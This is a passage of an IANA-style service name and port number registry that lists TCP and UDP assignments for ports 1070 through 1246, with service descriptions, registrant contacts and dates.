gmrupdateserv 1070 tcp GMRUpdateSERV [Steve_Kellogg] [Steve_Kellogg]
gmrupdateserv 1070 udp GMRUpdateSERV [Steve_Kellogg] [Steve_Kellogg]
bsquare-voip 1071 tcp BSQUARE-VOIP [Yen_Lee] [Yen_Lee]
bsquare-voip 1071 udp BSQUARE-VOIP [Yen_Lee] [Yen_Lee]
cardax 1072 tcp CARDAX [Charles_Oram] [Charles_Oram]
cardax 1072 udp CARDAX [Charles_Oram] [Charles_Oram]
bridgecontrol 1073 tcp Bridge Control [Andy_Heron] [Andy_Heron]
bridgecontrol 1073 udp Bridge Control [Andy_Heron] [Andy_Heron]
warmspotMgmt 1074 tcp Warmspot Management Protocol [Robert_C_Henningsga] [Robert_C_Henningsga]
warmspotMgmt 1074 udp Warmspot Management Protocol [Robert_C_Henningsga] [Robert_C_Henningsga]
rdrmshc 1075 tcp RDRMSHC [Ericko_Shimada] [Ericko_Shimada]
rdrmshc 1075 udp RDRMSHC [Ericko_Shimada] [Ericko_Shimada]
dab-sti-c 1076 tcp DAB STI-C [World_DAB] [World_DAB]
dab-sti-c 1076 udp DAB STI-C [World_DAB] [World_DAB]
imgames 1077 tcp IMGames [Jean_A_Ames] [Jean_A_Ames]
imgames 1077 udp IMGames [Jean_A_Ames] [Jean_A_Ames]
avocent-proxy 1078 tcp Avocent Proxy Protocol [Steven_W_Clark] [Steven_W_Clark]
avocent-proxy 1078 udp Avocent Proxy Protocol [Steven_W_Clark] [Steven_W_Clark]
asprovatalk 1079 tcp ASPROVATalk [Chiew_Farn_Chung] [Chiew_Farn_Chung]
asprovatalk 1079 udp ASPROVATalk [Chiew_Farn_Chung] [Chiew_Farn_Chung]
socks 1080 tcp Socks [Ying_Da_Lee] [Ying_Da_Lee]
socks 1080 udp Socks [Ying_Da_Lee] [Ying_Da_Lee]
pvuniwien 1081 tcp PVUNIWIEN [Peter_Lipp] [Peter_Lipp]
pvuniwien 1081 udp PVUNIWIEN [Peter_Lipp] [Peter_Lipp]
amt-esd-prot 1082 tcp AMT-ESD-PROT [AMTEC_S_p_A] [AMTEC_S_p_A]
amt-esd-prot 1082 udp AMT-ESD-PROT [AMTEC_S_p_A] [AMTEC_S_p_A]
ansoft-lm-1 1083 tcp Anasoft License Manager
ansoft-lm-1 1083 udp Anasoft License Manager
ansoft-lm-2 1084 tcp Anasoft License Manager
ansoft-lm-2 1084 udp Anasoft License Manager
webobjects 1085 tcp Web Objects [Andy_Belk] [Andy_Belk]
webobjects 1085 udp Web Objects [Andy_Belk] [Andy_Belk]
cplscrambler-lg 1086 tcp CPL Scrambler Logging
cplscrambler-lg 1086 udp CPL Scrambler Logging
cplscrambler-in 1087 tcp CPL Scrambler Internal
cplscrambler-in 1087 udp CPL Scrambler Internal
cplscrambler-al 1088 tcp CPL Scrambler Alarm Log [Richard_Corn] [Richard_Corn]
cplscrambler-al 1088 udp CPL Scrambler Alarm Log [Richard_Corn] [Richard_Corn]
ff-annunc 1089 tcp FF Annunciation
ff-annunc 1089 udp FF Annunciation
ff-fms 1090 tcp FF Fieldbus Message
Specification
ff-fms 1090 udp FF Fieldbus Message
Specification
ff-sm 1091 tcp FF System Management [Fieldbus_Foundation] [Fieldbus_Foundation]
ff-sm 1091 udp FF System Management [Fieldbus_Foundation] [Fieldbus_Foundation]
obrpd 1092 tcp Open Business Reporting [William_Randolph_Roy] [William_Randolph_Roy]
Protocol
obrpd 1092 udp Open Business Reporting [William_Randolph_Roy] [William_Randolph_Roy]
Protocol
proofd 1093 tcp PROOFD
proofd 1093 udp PROOFD
rootd 1094 tcp ROOTD [Fons_Rademakers] [Fons_Rademakers]
rootd 1094 udp ROOTD [Fons_Rademakers] [Fons_Rademakers]
nicelink 1095 tcp NICELink [Jordi_Lisbona] [Jordi_Lisbona]
nicelink 1095 udp NICELink [Jordi_Lisbona] [Jordi_Lisbona]
cnrprotocol 1096 tcp Common Name Resolution [Michael_Mealling] [Michael_Mealling]
Protocol
cnrprotocol 1096 udp Common Name Resolution [Michael_Mealling] [Michael_Mealling]
Protocol
sunclustermgr 1097 tcp Sun Cluster Manager [Ashit_Patel] [Ashit_Patel]
sunclustermgr 1097 udp Sun Cluster Manager [Ashit_Patel] [Ashit_Patel]
rmiactivation 1098 tcp RMI Activation
rmiactivation 1098 udp RMI Activation
rmiregistry 1099 tcp RMI Registry [Mark_Hodapp] [Mark_Hodapp]
rmiregistry 1099 udp RMI Registry [Mark_Hodapp] [Mark_Hodapp]
mctp 1100 tcp MCTP [Vitaly_Revsin] [Vitaly_Revsin]
mctp 1100 udp MCTP [Vitaly_Revsin] [Vitaly_Revsin]
pt2-discover 1101 tcp PT2-DISCOVER [Ralph_Kammerlander] [Ralph_Kammerlander]
pt2-discover 1101 udp PT2-DISCOVER [Ralph_Kammerlander] [Ralph_Kammerlander]
adobeserver-1 1102 tcp ADOBE SERVER 1
adobeserver-1 1102 udp ADOBE SERVER 1
adobeserver-2 1103 tcp ADOBE SERVER 2 [Frank_Soetebeer] [Frank_Soetebeer]
adobeserver-2 1103 udp ADOBE SERVER 2 [Frank_Soetebeer] [Frank_Soetebeer]
xrl 1104 tcp XRL [Patrick_Robinson] [Patrick_Robinson]
xrl 1104 udp XRL [Patrick_Robinson] [Patrick_Robinson]
ftranhc 1105 tcp FTRANHC [Eriko_Shimada] [Eriko_Shimada]
ftranhc 1105 udp FTRANHC [Eriko_Shimada] [Eriko_Shimada]
isoipsigport-1 1106 tcp ISOIPSIGPORT-1
isoipsigport-1 1106 udp ISOIPSIGPORT-1
isoipsigport-2 1107 tcp ISOIPSIGPORT-2 [Peter_Egli] [Peter_Egli]
isoipsigport-2 1107 udp ISOIPSIGPORT-2 [Peter_Egli] [Peter_Egli]
ratio-adp 1108 tcp ratio-adp [Oliver_Thulke] [Oliver_Thulke]
ratio-adp 1108 udp ratio-adp [Oliver_Thulke] [Oliver_Thulke]
1109 Reserved - IANA
webadmstart 1110 tcp Start web admin server
nfsd-keepalive 1110 udp Client status info [Beth_Crespo] [Beth_Crespo]
lmsocialserver 1111 tcp LM Social Server [Ron_Lussier] [Ron_Lussier]
lmsocialserver 1111 udp LM Social Server [Ron_Lussier] [Ron_Lussier]
icp 1112 tcp Intelligent Communication [Mark_H_David] [Mark_H_David]
Protocol
icp 1112 udp Intelligent Communication [Mark_H_David] [Mark_H_David]
Protocol
ltp-deepspace 1113 tcp Licklider Transmission [RFC5326]
Protocol
ltp-deepspace 1113 udp Licklider Transmission 2014-02-21 [RFC5326][RFC7122]
Protocol
ltp-deepspace 1113 dccp Licklider Transmission 2013-11-12 2014-02-21 [RFC7122] 7107696
Protocol
mini-sql 1114 tcp Mini SQL [David_Hughes] [David_Hughes]
mini-sql 1114 udp Mini SQL [David_Hughes] [David_Hughes]
ardus-trns 1115 tcp ARDUS Transfer
ardus-trns 1115 udp ARDUS Transfer
ardus-cntl 1116 tcp ARDUS Control
ardus-cntl 1116 udp ARDUS Control
ardus-mtrns 1117 tcp ARDUS Multicast Transfer [Shinya_Abe] [Shinya_Abe]
ardus-mtrns 1117 udp ARDUS Multicast Transfer [Shinya_Abe] [Shinya_Abe]
sacred 1118 tcp SACRED [RFC3767]
sacred 1118 udp SACRED [RFC3767]
bnetgame 1119 tcp Battle.net Chat/Game
Protocol
bnetgame 1119 udp Battle.net Chat/Game
Protocol
bnetfile 1120 tcp Battle.net File Transfer [Domain_Tech] [Domain_Tech] 2005-04
Protocol
bnetfile 1120 udp Battle.net File Transfer [Domain_Tech] [Domain_Tech] 2005-04
Protocol
rmpp 1121 tcp Datalode RMPP [Dave_Ruedger] [Dave_Ruedger] 2003-11
rmpp 1121 udp Datalode RMPP [Dave_Ruedger] [Dave_Ruedger] 2003-11
availant-mgr 1122 tcp availant-mgr [Steven_Pelletier] [Steven_Pelletier]
availant-mgr 1122 udp availant-mgr [Steven_Pelletier] [Steven_Pelletier]
murray 1123 tcp Murray [Stu_Mark] [Stu_Mark]
murray 1123 udp Murray [Stu_Mark] [Stu_Mark]
hpvmmcontrol 1124 tcp HP VMM Control
hpvmmcontrol 1124 udp HP VMM Control
hpvmmagent 1125 tcp HP VMM Agent
hpvmmagent 1125 udp HP VMM Agent
hpvmmdata 1126 tcp HP VMM Agent [John_Morton] [John_Morton] 2004-11
hpvmmdata 1126 udp HP VMM Agent [John_Morton] [John_Morton] 2004-11
kwdb-commn 1127 tcp KWDB Remote Communication [Lal_Samuel_Varghese] [Lal_Samuel_Varghese] 2005-08
kwdb-commn 1127 udp KWDB Remote Communication [Lal_Samuel_Varghese] [Lal_Samuel_Varghese] 2005-08
saphostctrl 1128 tcp SAPHostControl over
SOAP/HTTP
saphostctrl 1128 udp SAPHostControl over
SOAP/HTTP
saphostctrls 1129 tcp SAPHostControl over [Muscarella_Fabrizio] [Muscarella_Fabrizio] 2006-04
SOAP/HTTPS
saphostctrls 1129 udp SAPHostControl over [Muscarella_Fabrizio] [Muscarella_Fabrizio] 2006-04
SOAP/HTTPS
casp 1130 tcp CAC App Service Protocol
casp 1130 udp CAC App Service Protocol
caspssl 1131 tcp CAC App Service Protocol [Enrique_Corujo] [Enrique_Corujo] 2006-02
Encripted
caspssl 1131 udp CAC App Service Protocol [Enrique_Corujo] [Enrique_Corujo] 2006-02
Encripted
kvm-via-ip 1132 tcp KVM-via-IP Management [Ian_Miller] [Ian_Miller] 2006-03
Service
kvm-via-ip 1132 udp KVM-via-IP Management [Ian_Miller] [Ian_Miller] 2006-03
Service
dfn 1133 tcp Data Flow Network [Dmitry_Obuvalin] [Dmitry_Obuvalin] 2006-02
dfn 1133 udp Data Flow Network [Dmitry_Obuvalin] [Dmitry_Obuvalin] 2006-02
aplx 1134 tcp MicroAPL APLX [Richard_Nabavi] [Richard_Nabavi] 2006-02
aplx 1134 udp MicroAPL APLX [Richard_Nabavi] [Richard_Nabavi] 2006-02
omnivision 1135 tcp OmniVision Communication [Serge_Vacquier] [Serge_Vacquier] 2006-02
Service
omnivision 1135 udp OmniVision Communication [Serge_Vacquier] [Serge_Vacquier] 2006-02
Service
hhb-gateway 1136 tcp HHB Gateway Control [Richard_Harwell] [Richard_Harwell] 2006-02
hhb-gateway 1136 udp HHB Gateway Control [Richard_Harwell] [Richard_Harwell] 2006-02
trim 1137 tcp TRIM Workgroup Service [Siva_Poobalasingam] [Siva_Poobalasingam] 2006-03
trim 1137 udp TRIM Workgroup Service [Siva_Poobalasingam] [Siva_Poobalasingam] 2006-03
encrypted admin requests
encrypted-admin 1138 tcp IANA assigned this [Michael_Elizarov] [Michael_Elizarov] 2007-01
well-formed service name as
a replacement for
"encrypted_admin".
This entry is an alias to "encrypted-admin". This entry is
encrypted_admin 1138 tcp encrypted admin requests [Michael_Elizarov] [Michael_Elizarov] 2007-01 now historic, not usable for use with many common service
discovery mechanisms.
encrypted admin requests
encrypted-admin 1138 udp IANA assigned this [Michael_Elizarov] [Michael_Elizarov] 2007-01
well-formed service name as
a replacement for
"encrypted_admin".
This entry is an alias to "encrypted-admin". This entry is
encrypted_admin 1138 udp encrypted admin requests [Michael_Elizarov] [Michael_Elizarov] 2007-01 now historic, not usable for use with many common service
discovery mechanisms.
evm 1139 tcp Enterprise Virtual Manager [Thomas_Hennessy] [Thomas_Hennessy] 2007-10-04
evm 1139 udp Enterprise Virtual Manager [Thomas_Hennessy] [Thomas_Hennessy] 2007-10-04
autonoc 1140 tcp AutoNOC Network Operations [Kyle_Lussier] [Kyle_Lussier] 2005-12
Protocol
autonoc 1140 udp AutoNOC Network Operations [Kyle_Lussier] [Kyle_Lussier] 2005-12
Protocol
mxomss 1141 tcp User Message Service [Chaoyi_Lang] [Chaoyi_Lang] 2006-01
mxomss 1141 udp User Message Service [Chaoyi_Lang] [Chaoyi_Lang] 2006-01
edtools 1142 tcp User Discovery Service [Lee_Dolson] [Lee_Dolson] 2006-01
edtools 1142 udp User Discovery Service [Lee_Dolson] [Lee_Dolson] 2006-01
imyx 1143 tcp Infomatryx Exchange [David_Walling] [David_Walling] 2006-03
imyx 1143 udp Infomatryx Exchange [David_Walling] [David_Walling] 2006-03
fuscript 1144 tcp Fusion Script [Peter_Loveday] [Peter_Loveday] 2006-01
fuscript 1144 udp Fusion Script [Peter_Loveday] [Peter_Loveday] 2006-01
x9-icue 1145 tcp X9 iCue Show Control [Brandon_Potter] [Brandon_Potter] 2006-01
x9-icue 1145 udp X9 iCue Show Control [Brandon_Potter] [Brandon_Potter] 2006-01
audit-transfer 1146 tcp audit transfer [Mark_Wahl] [Mark_Wahl] 2005-11
audit-transfer 1146 udp audit transfer [Mark_Wahl] [Mark_Wahl] 2005-11
capioverlan 1147 tcp CAPIoverLAN [Diego_Friedel] [Diego_Friedel] 2005-11
capioverlan 1147 udp CAPIoverLAN [Diego_Friedel] [Diego_Friedel] 2005-11
elfiq-repl 1148 tcp Elfiq Replication Service [Frederick_Parent] [Frederick_Parent] 2005-11
elfiq-repl 1148 udp Elfiq Replication Service [Frederick_Parent] [Frederick_Parent] 2005-11
bvtsonar 1149 tcp BlueView Sonar Service [Teledyne_BlueView_Inc] [Cat_Zimmermann] 2005-11 2012-09-19
bvtsonar 1149 udp BlueView Sonar Service [Teledyne_BlueView_Inc] [Cat_Zimmermann] 2005-11 2012-09-19
blaze 1150 tcp Blaze File Server [Curt_Schimmel] [Curt_Schimmel] 2005-11
blaze 1150 udp Blaze File Server [Curt_Schimmel] [Curt_Schimmel] 2005-11
unizensus 1151 tcp Unizensus Login Server [Dirk_Materlik] [Dirk_Materlik] 2005-11
unizensus 1151 udp Unizensus Login Server [Dirk_Materlik] [Dirk_Materlik] 2005-11
winpoplanmess 1152 tcp Winpopup LAN Messenger [Vitali_Fomine] [Vitali_Fomine] 2005-11
winpoplanmess 1152 udp Winpopup LAN Messenger [Vitali_Fomine] [Vitali_Fomine] 2005-11
c1222-acse 1153 tcp ANSI C12.22 Port [RFC6142]
c1222-acse 1153 udp ANSI C12.22 Port [RFC6142]
resacommunity 1154 tcp Community Service [Stephane_MONS] [Stephane_MONS] 2005-09
resacommunity 1154 udp Community Service [Stephane_MONS] [Stephane_MONS] 2005-09
nfa 1155 tcp Network File Access [James_Powell] [James_Powell]
nfa 1155 udp Network File Access [James_Powell] [James_Powell]
iascontrol-oms 1156 tcp iasControl OMS [Todd_Guay] [Todd_Guay] 2004-11
iascontrol-oms 1156 udp iasControl OMS [Todd_Guay] [Todd_Guay] 2004-11
iascontrol 1157 tcp Oracle iASControl [Todd_Guay] [Todd_Guay] 2004-11
iascontrol 1157 udp Oracle iASControl [Todd_Guay] [Todd_Guay] 2004-11
dbcontrol-oms 1158 tcp dbControl OMS [Todd_Guay] [Todd_Guay] 2004-11
dbcontrol-oms 1158 udp dbControl OMS [Todd_Guay] [Todd_Guay] 2004-11
oracle-oms 1159 tcp Oracle OMS [Todd_Guay] [Todd_Guay] 2004-11
oracle-oms 1159 udp Oracle OMS [Todd_Guay] [Todd_Guay] 2004-11
olsv 1160 tcp DB Lite Mult-User Server [Philip_Stephenson] [Philip_Stephenson] 2005-08
olsv 1160 udp DB Lite Mult-User Server [Philip_Stephenson] [Philip_Stephenson] 2005-08
health-polling 1161 tcp Health Polling
health-polling 1161 udp Health Polling
health-trap 1162 tcp Health Trap
health-trap 1162 udp Health Trap
sddp 1163 tcp SmartDialer Data Protocol [Lee_Griffiths] [Lee_Griffiths] 2004-11
sddp 1163 udp SmartDialer Data Protocol [Lee_Griffiths] [Lee_Griffiths] 2004-11
qsm-proxy 1164 tcp QSM Proxy Service [Norm_Lunde] [Norm_Lunde] 2004-11
qsm-proxy 1164 udp QSM Proxy Service [Norm_Lunde] [Norm_Lunde] 2004-11
qsm-gui 1165 tcp QSM GUI Service [Norm_Lunde] [Norm_Lunde] 2004-11
qsm-gui 1165 udp QSM GUI Service [Norm_Lunde] [Norm_Lunde] 2004-11
qsm-remote 1166 tcp QSM RemoteExec [Norm_Lunde] [Norm_Lunde] 2004-11
qsm-remote 1166 udp QSM RemoteExec [Norm_Lunde] [Norm_Lunde] 2004-11
cisco-ipsla 1167 tcp Cisco IP SLAs Control [Emmanuel_Tychon] [Emmanuel_Tychon] 2006-03
Protocol
cisco-ipsla 1167 udp Cisco IP SLAs Control [Emmanuel_Tychon] [Emmanuel_Tychon] 2006-03
Protocol
cisco-ipsla 1167 sctp Cisco IP SLAs Control [Emmanuel_Tychon] [Emmanuel_Tychon] 2006-03
Protocol
vchat 1168 tcp VChat Conference Service [Andreas_Wetzel] [Andreas_Wetzel] 2002-09
vchat 1168 udp VChat Conference Service [Andreas_Wetzel] [Andreas_Wetzel] 2002-09
tripwire 1169 tcp TRIPWIRE [Ed_Metcalf][Albert_Holt] [Ed_Metcalf][Albert_Holt]
tripwire 1169 udp TRIPWIRE [Ed_Metcalf][Albert_Holt] [Ed_Metcalf][Albert_Holt]
atc-lm 1170 tcp AT+C License Manager [Peter_Schafer] [Peter_Schafer] 2004-02
atc-lm 1170 udp AT+C License Manager [Peter_Schafer] [Peter_Schafer] 2004-02
atc-appserver 1171 tcp AT+C FmiApplicationServer [Peter_Schafer] [Peter_Schafer] 2004-02
atc-appserver 1171 udp AT+C FmiApplicationServer [Peter_Schafer] [Peter_Schafer] 2004-02
dnap 1172 tcp DNA Protocol [David_McLaughlin] [David_McLaughlin] 2004-11
dnap 1172 udp DNA Protocol [David_McLaughlin] [David_McLaughlin] 2004-11
d-cinema-rrp 1173 tcp D-Cinema Request-Response [Robert_Baldwin] [Robert_Baldwin] 2004-11
d-cinema-rrp 1173 udp D-Cinema Request-Response [Robert_Baldwin] [Robert_Baldwin] 2004-11
fnet-remote-ui 1174 tcp FlashNet Remote Admin [Terry_Smyth] [Terry_Smyth] 2004-11
fnet-remote-ui 1174 udp FlashNet Remote Admin [Terry_Smyth] [Terry_Smyth] 2004-11
dossier 1175 tcp Dossier Server [Rob_Minerick] [Rob_Minerick] 2004-11
dossier 1175 udp Dossier Server [Rob_Minerick] [Rob_Minerick] 2004-11
indigo-server 1176 tcp Indigo Home Server [Matt_Bendiksen] [Matt_Bendiksen] 2004-11
indigo-server 1176 udp Indigo Home Server [Matt_Bendiksen] [Matt_Bendiksen] 2004-11
dkmessenger 1177 tcp DKMessenger Protocol [Douglas_Kadlecek] [Douglas_Kadlecek] 2004-11
dkmessenger 1177 udp DKMessenger Protocol [Douglas_Kadlecek] [Douglas_Kadlecek] 2004-11
sgi-storman 1178 tcp SGI Storage Manager [Greg_Banks] [Greg_Banks] 2004-11
sgi-storman 1178 udp SGI Storage Manager [Greg_Banks] [Greg_Banks] 2004-11
b2n 1179 tcp Backup To Neighbor [Thomas_Fok] [Thomas_Fok] 2004-11
b2n 1179 udp Backup To Neighbor [Thomas_Fok] [Thomas_Fok] 2004-11
mc-client 1180 tcp Millicent Client Proxy [Steve_Glassman] [Steve_Glassman]
mc-client 1180 udp Millicent Client Proxy [Steve_Glassman] [Steve_Glassman]
3comnetman 1181 tcp 3Com Net Management [Peter_White] [Peter_White] 2004-11
3comnetman 1181 udp 3Com Net Management [Peter_White] [Peter_White] 2004-11
accelenet 1182 tcp AcceleNet Control
accelenet-data 1182 udp AcceleNet Data [Peter_Lepeska] [Peter_Lepeska] 2010-09-10
llsurfup-http 1183 tcp LL Surfup HTTP
llsurfup-http 1183 udp LL Surfup HTTP
llsurfup-https 1184 tcp LL Surfup HTTPS [Katy_Lynn_McCullough] [Katy_Lynn_McCullough]
llsurfup-https 1184 udp LL Surfup HTTPS [Katy_Lynn_McCullough] [Katy_Lynn_McCullough]
catchpole 1185 tcp Catchpole port [Christian_Catchpole] [Christian_Catchpole] 2002-03
catchpole 1185 udp Catchpole port [Christian_Catchpole] [Christian_Catchpole] 2002-03
mysql-cluster 1186 tcp MySQL Cluster Manager [Arjen_Lentz] [Arjen_Lentz] 2004-11
mysql-cluster 1186 udp MySQL Cluster Manager [Arjen_Lentz] [Arjen_Lentz] 2004-11
alias 1187 tcp Alias Service [Paul_Tokarchuk] [Paul_Tokarchuk] 2004-11
alias 1187 udp Alias Service [Paul_Tokarchuk] [Paul_Tokarchuk] 2004-11
hp-webadmin 1188 tcp HP Web Admin [Lance_Kind] [Lance_Kind]
hp-webadmin 1188 udp HP Web Admin [Lance_Kind] [Lance_Kind]
unet 1189 tcp Unet Connection [Anthony_Stahler] [Anthony_Stahler] 2004-11
unet 1189 udp Unet Connection [Anthony_Stahler] [Anthony_Stahler] 2004-11
commlinx-avl 1190 tcp CommLinx GPS / AVL System [Peter_Johnson] [Peter_Johnson] 2004-11
commlinx-avl 1190 udp CommLinx GPS / AVL System [Peter_Johnson] [Peter_Johnson] 2004-11
gpfs 1191 tcp General Parallel File System [Dave_Craft] [Dave_Craft] 2004-11
gpfs 1191 udp General Parallel File System [Dave_Craft] [Dave_Craft] 2004-11
caids-sensor 1192 tcp caids sensors channel [Gregory_Hostettler] [Gregory_Hostettler] 2004-11
caids-sensor 1192 udp caids sensors channel [Gregory_Hostettler] [Gregory_Hostettler] 2004-11
fiveacross 1193 tcp Five Across Server [Glenn_Reid] [Glenn_Reid] 2004-11
fiveacross 1193 udp Five Across Server [Glenn_Reid] [Glenn_Reid] 2004-11
openvpn 1194 tcp OpenVPN [James_Yonan] [James_Yonan] 2004-11
openvpn 1194 udp OpenVPN [James_Yonan] [James_Yonan] 2004-11
rsf-1 1195 tcp RSF-1 clustering [Dave_Hines] [Dave_Hines] 2004-11
rsf-1 1195 udp RSF-1 clustering [Dave_Hines] [Dave_Hines] 2004-11
netmagic 1196 tcp Network Magic [Nick_Holt] [Nick_Holt] 2005-08
netmagic 1196 udp Network Magic [Nick_Holt] [Nick_Holt] 2005-08
carrius-rshell 1197 tcp Carrius Remote Access [Gerry_Dubois] [Gerry_Dubois] 2005-08
carrius-rshell 1197 udp Carrius Remote Access [Gerry_Dubois] [Gerry_Dubois] 2005-08
cajo-discovery 1198 tcp cajo reference discovery [John_Catherino] [John_Catherino] 2005-08
cajo-discovery 1198 udp cajo reference discovery [John_Catherino] [John_Catherino] 2005-08
dmidi 1199 tcp DMIDI [Phil_Kerr] [Phil_Kerr] 2002-02
dmidi 1199 udp DMIDI [Phil_Kerr] [Phil_Kerr] 2002-02
scol 1200 tcp SCOL [Cryo_Networks] [Cryo_Networks]
scol 1200 udp SCOL [Cryo_Networks] [Cryo_Networks]
nucleus-sand 1201 tcp Nucleus Sand Database Server [James_Marsh] [James_Marsh]
nucleus-sand 1201 udp Nucleus Sand Database Server [James_Marsh] [James_Marsh]
caiccipc 1202 tcp caiccipc [Vince_Re] [Vince_Re]
caiccipc 1202 udp caiccipc [Vince_Re] [Vince_Re]
ssslic-mgr 1203 tcp License Validation
ssslic-mgr 1203 udp License Validation
ssslog-mgr 1204 tcp Log Request Listener [Eric_Bruno] [Eric_Bruno]
ssslog-mgr 1204 udp Log Request Listener [Eric_Bruno] [Eric_Bruno]
accord-mgc 1205 tcp Accord-MGC [Roni_Even] [Roni_Even]
accord-mgc 1205 udp Accord-MGC [Roni_Even] [Roni_Even]
anthony-data 1206 tcp Anthony Data [Paul_Dollemore] [Paul_Dollemore]
anthony-data 1206 udp Anthony Data [Paul_Dollemore] [Paul_Dollemore]
metasage 1207 tcp MetaSage [Peter_Anvelt] [Peter_Anvelt]
metasage 1207 udp MetaSage [Peter_Anvelt] [Peter_Anvelt]
seagull-ais 1208 tcp SEAGULL AIS [Lee_Breisacher] [Lee_Breisacher]
seagull-ais 1208 udp SEAGULL AIS [Lee_Breisacher] [Lee_Breisacher]
ipcd3 1209 tcp IPCD3 [Mark_Ciskey] [Mark_Ciskey]
ipcd3 1209 udp IPCD3 [Mark_Ciskey] [Mark_Ciskey]
eoss 1210 tcp EOSS [Robert_Armes] [Robert_Armes]
eoss 1210 udp EOSS [Robert_Armes] [Robert_Armes]
groove-dpp 1211 tcp Groove DPP [Ken_Moore] [Ken_Moore]
groove-dpp 1211 udp Groove DPP [Ken_Moore] [Ken_Moore]
lupa 1212 tcp lupa [Barney_Wolff] [Barney_Wolff]
lupa 1212 udp lupa [Barney_Wolff] [Barney_Wolff]
mpc-lifenet 1213 tcp Medtronic/Physio-Control [Physio-Control_Inc] [Kevin_Drew] 2014-02-14
LIFENET
mpc-lifenet 1213 udp Medtronic/Physio-Control [Physio-Control_Inc] [Kevin_Drew] 2014-02-14
LIFENET
kazaa 1214 tcp KAZAA [Ahti_Heinla] [Ahti_Heinla]
kazaa 1214 udp KAZAA [Ahti_Heinla] [Ahti_Heinla]
scanstat-1 1215 tcp scanSTAT 1.0 [William_Scheding] [William_Scheding]
scanstat-1 1215 udp scanSTAT 1.0 [William_Scheding] [William_Scheding]
etebac5 1216 tcp ETEBAC 5 [Jean_Louis_Barbut] [Jean_Louis_Barbut]
etebac5 1216 udp ETEBAC 5 [Jean_Louis_Barbut] [Jean_Louis_Barbut]
hpss-ndapi 1217 tcp HPSS NonDCE Gateway [Michael_Gleicher] [Michael_Gleicher]
hpss-ndapi 1217 udp HPSS NonDCE Gateway [Michael_Gleicher] [Michael_Gleicher]
aeroflight-ads 1218 tcp AeroFlight-ADs
aeroflight-ads 1218 udp AeroFlight-ADs
aeroflight-ret 1219 tcp AeroFlight-Ret [Eric_Johnson] [Eric_Johnson]
aeroflight-ret 1219 udp AeroFlight-Ret [Eric_Johnson] [Eric_Johnson]
qt-serveradmin 1220 tcp QT SERVER ADMIN [Chris_LeCroy] [Chris_LeCroy]
qt-serveradmin 1220 udp QT SERVER ADMIN [Chris_LeCroy] [Chris_LeCroy]
sweetware-apps 1221 tcp SweetWARE Apps [David_Dunetz] [David_Dunetz]
sweetware-apps 1221 udp SweetWARE Apps [David_Dunetz] [David_Dunetz]
nerv 1222 tcp SNI R&D network [Martin_Freiss] [Martin_Freiss]
nerv 1222 udp SNI R&D network [Martin_Freiss] [Martin_Freiss]
tgp 1223 tcp TrulyGlobal Protocol [Gur_Kimchi] [Gur_Kimchi] 2008-05-20
tgp 1223 udp TrulyGlobal Protocol [Gur_Kimchi] [Gur_Kimchi] 2008-05-20
vpnz 1224 tcp VPNz [Tom_Strack] [Tom_Strack]
vpnz 1224 udp VPNz [Tom_Strack] [Tom_Strack]
slinkysearch 1225 tcp SLINKYSEARCH [Desmond_Chan] [Desmond_Chan]
slinkysearch 1225 udp SLINKYSEARCH [Desmond_Chan] [Desmond_Chan]
stgxfws 1226 tcp STGXFWS [Tetsuya_Shioda] [Tetsuya_Shioda]
stgxfws 1226 udp STGXFWS [Tetsuya_Shioda] [Tetsuya_Shioda]
dns2go 1227 tcp DNS2Go [Deerfield_Communications_Inc] [Mike_Courterier] 2015-07-15
dns2go 1227 udp DNS2Go [Deerfield_Communications_Inc] [Mike_Courterier] 2015-07-15
florence 1228 tcp FLORENCE [Brian_Trammell] [Brian_Trammell]
florence 1228 udp FLORENCE [Brian_Trammell] [Brian_Trammell]
zented 1229 tcp ZENworks Tiered Electronic [Ty_Ellis] [Ty_Ellis]
Distribution
zented 1229 udp ZENworks Tiered Electronic [Ty_Ellis] [Ty_Ellis]
Distribution
periscope 1230 tcp Periscope [Kevin_Madden] [Kevin_Madden]
periscope 1230 udp Periscope [Kevin_Madden] [Kevin_Madden]
menandmice-lpm 1231 tcp menandmice-lpm [Sigfus_Magnusson] [Sigfus_Magnusson]
menandmice-lpm 1231 udp menandmice-lpm [Sigfus_Magnusson] [Sigfus_Magnusson]
first-defense 1232 tcp Remote systems monitoring [Nexum] [Michael_Fread] 2012-09-21 Microsoft (unoffically) using 1232
first-defense 1232 udp Remote systems monitoring [Nexum] [Michael_Fread] 2012-09-21 Microsoft (unoffically) using 1232
univ-appserver 1233 tcp Universal App Server [Tim_Sent] [Tim_Sent]
univ-appserver 1233 udp Universal App Server [Tim_Sent] [Tim_Sent]
search-agent 1234 tcp Infoseek Search Agent [Jackie_Wu] [Jackie_Wu]
search-agent 1234 udp Infoseek Search Agent [Jackie_Wu] [Jackie_Wu]
mosaicsyssvc1 1235 tcp mosaicsyssvc1 [Brian_Matthews] [Brian_Matthews]
mosaicsyssvc1 1235 udp mosaicsyssvc1 [Brian_Matthews] [Brian_Matthews]
bvcontrol 1236 tcp bvcontrol [Daniel_J_Walsh] [Daniel_J_Walsh]
bvcontrol 1236 udp bvcontrol [Daniel_J_Walsh] [Daniel_J_Walsh]
tsdos390 1237 tcp tsdos390 [Ben_Pracht] [Ben_Pracht]
tsdos390 1237 udp tsdos390 [Ben_Pracht] [Ben_Pracht]
hacl-qs 1238 tcp hacl-qs [Farid_Faez] [Farid_Faez]
hacl-qs 1238 udp hacl-qs [Farid_Faez] [Farid_Faez]
nmsd 1239 tcp NMSD [Yuri_Machkasov] [Yuri_Machkasov]
nmsd 1239 udp NMSD [Yuri_Machkasov] [Yuri_Machkasov]
instantia 1240 tcp Instantia [Ruth_Slater] [Ruth_Slater]
instantia 1240 udp Instantia [Ruth_Slater] [Ruth_Slater]
nessus 1241 tcp nessus [Jordan_Hrycaj] [Jordan_Hrycaj]
nessus 1241 udp nessus [Jordan_Hrycaj] [Jordan_Hrycaj]
nmasoverip 1242 tcp NMAS over IP [Hal_Henderson] [Hal_Henderson]
nmasoverip 1242 udp NMAS over IP [Hal_Henderson] [Hal_Henderson]
serialgateway 1243 tcp SerialGateway [Stephen_LaValley] [Stephen_LaValley]
serialgateway 1243 udp SerialGateway [Stephen_LaValley] [Stephen_LaValley]
isbconference1 1244 tcp isbconference1
isbconference1 1244 udp isbconference1
isbconference2 1245 tcp isbconference2 [Arnold_Dittmann] [Arnold_Dittmann]
isbconference2 1245 udp isbconference2 [Arnold_Dittmann] [Arnold_Dittmann]
payrouter 1246 tcp payrouter [David_Wilson] [David_Wilson]
payrouter 1246 udp payrouter [David_Wilson] [David_Wilson]
